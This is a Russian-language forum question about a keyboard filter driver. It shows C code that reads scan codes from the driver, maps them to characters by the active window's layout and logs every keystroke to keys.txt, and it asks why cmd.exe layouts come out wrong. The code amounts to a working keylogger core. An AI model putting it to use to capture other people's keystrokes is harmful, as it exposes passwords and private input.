Перехват нажатий клавиш

Всем привет.
Сделал фильтр для \Device\KeyboardClass0 и вытаскиваю в юзермод сканкоды нажатых клавиш.
В юзермоде хочу получить символы клавиш по сканкоду для приложений в зависимости от раскрадки клавиатуры.
Делаю так:

Код (Text):

1.     while(1) {
2.  
3.         ZeroMemory(&KeyData, sizeof(KEY_DATA));
4.    
5.         if( DeviceIoControl(hDriver, IOCTL_GET_KEY_DATA, NULL, 0, &KeyData, sizeof(KEY_DATA), &dwNumberOfBytesRead, NULL) ) {
6.        
7.             do {
8.                 hCurrentWin = GetForegroundWindow();
9.                 dwThreadIdWin = GetWindowThreadProcessId(hCurrentWin, &dwProcIdWin);
10.                 hKeyLayout = GetKeyboardLayout(dwThreadIdWin);
11.                 usVirtualKey = MapVirtualKeyEx(KeyData.usScanCode, 1, hKeyLayout);
12.                 GetKeyboardState(btKeyboardState);
13.                 ToAsciiEx(usVirtualKey, KeyData.usScanCode, btKeyboardState, &BufChar, 0, hKeyLayout);
14.                 CHAR chKey[32]={0};
15.                 CHAR chBuffer[128] = {0};
16.                 CopyMemory(chKey, &BufChar, sizeof(CHAR));
17.                 _snprintf(chBuffer, 127, "SCANCODE: %d VIRTUALCODE: %d KEY: \"%s\"", KeyData.usScanCode, usVirtualKey, chKey);
18.                 WriteDataToFile("keys.txt", chBuffer, strlen(chBuffer));
19.                 //printf("SCANCODE: %d KEY: \"%s\"\n", KeyData.usScanCode, chKey);            
20.             } while( DeviceIoControl(hDriver, IOCTL_GET_KEY_DATA, NULL, 0, &KeyData, sizeof(KEY_DATA), &dwNumberOfBytesRead, NULL) );
21.  
22.         }
23.    
24.         Sleep(10);
25.  
26.     }

Для всех графических приложений все ок и в зависимости от раскладки RU/ENG получаю русские или англ. символы.
А вот для cmd.exe постоянно получаю русские (в моем случае) символы и при RU и при ENG.
Не подскажите можно ли это поправить?

Заранее спасибо!